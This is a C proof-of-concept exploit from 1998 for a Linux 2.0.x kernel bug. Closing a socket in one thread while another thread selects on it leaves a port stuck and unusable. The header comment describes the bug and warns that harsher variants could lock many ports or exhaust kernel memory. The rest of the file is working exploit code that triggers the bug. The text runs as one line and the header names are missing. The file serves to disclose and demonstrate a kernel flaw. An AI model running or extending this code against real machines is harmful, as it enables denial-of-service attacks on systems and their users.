// This program will kill a random port on a linux machine. The kernel will // forever listen to that port and send the connections nowhere. Tested with // Linux kernel 2.0.35 and libc-2.0.7. Requires LinuxThreads to compile, // but removing LinuxThreads from your system will not solve the problem. // The bug is triggered when a multithreaded program closes a socket from // one thread while another thread is selecting on it. A subsequent abort // leaves the socket in never-never land. // Do not underestimate the risk of this exploit. While this program // is mild, more vicious programs could lock large numbers of ports or // replicate this same attack on an active connection with large // send/receive buffers full of data. This could cause large increases // in kernel memory consumption. // Discovered by David J. Schwartz // Copyright (C) 1998, David J. Schwartz // Note: This bug was not fixed in 2.0.36, as I was told it would be // Compile with: // gcc CLOSE_WAIT_test.c -lpthread -o CLOSE_WAIT_test #include #include #include #include #include #include #include #include volatile int s; volatile int sock; volatile int connected=0; void *Thread1(void *a) { int i,p; struct sockaddr_in to; fd_set fd; s=socket(AF_INET, SOCK_STREAM, 0); if(s<=0) return; memset(&to, 0, sizeof(to)); srand(getpid()); /* we pick a random port between 50000 and 59999 */ p=(rand()%10000)+50000; printf("port = %d\n", p); fflush(stdout); to.sin_port=htons(p); to.sin_addr.s_addr=0; to.sin_family=AF_INET; if(bind(s, (struct sockaddr *)&to, sizeof(to))<0) fprintf(stderr,"no bind\n"); if(listen(s,10)!=0) fprintf(stderr,"No Listen\n"); /* now we are listening on that port */ i=sizeof(to); FD_ZERO(&fd); FD_SET(s,&fd); fprintf(stdout,"Listening, before select\n"); fprintf(stdout,"Please connect to port %d now\n", p); select(s+1,&fd,NULL,NULL,NULL); /* at this point we have selected on it as well */ fprintf(stderr,"select returned!\n"); if (FD_ISSET(s, &fd)) { fprintf(stdout, "socket is set\n"); sock = accept(s, NULL, NULL); fprintf(stdout, "accepted\n"); FD_SET(sock, &fd); fprintf(stdout, "FD_SET ok\n"); connected = 1; fprintf(stdout,"\nListening, before select\n"); select(sock+1, &fd, NULL, NULL, NULL); fprintf(stdout, "select returned\n"); } else { fprintf(stderr, "Error : fd not set\n"); exit(1); } } void *Thread2(void *a) { fprintf(stdout,"Thread2 : before close the client socket\n"); close(sock); fprintf(stdout,"Thread2 : after close the client socket\n\n\n"); fprintf(stdout,"Please close the remote session and check the result\n"); fflush(stderr); // abort(); } void main(void) { pthread_t j; pthread_create(&j,NULL,Thread1,NULL); while (connected == 0) usleep(1000); /* give the other thread time to finish */ pthread_create(&j,NULL,Thread2,NULL); while(1) sleep(1); }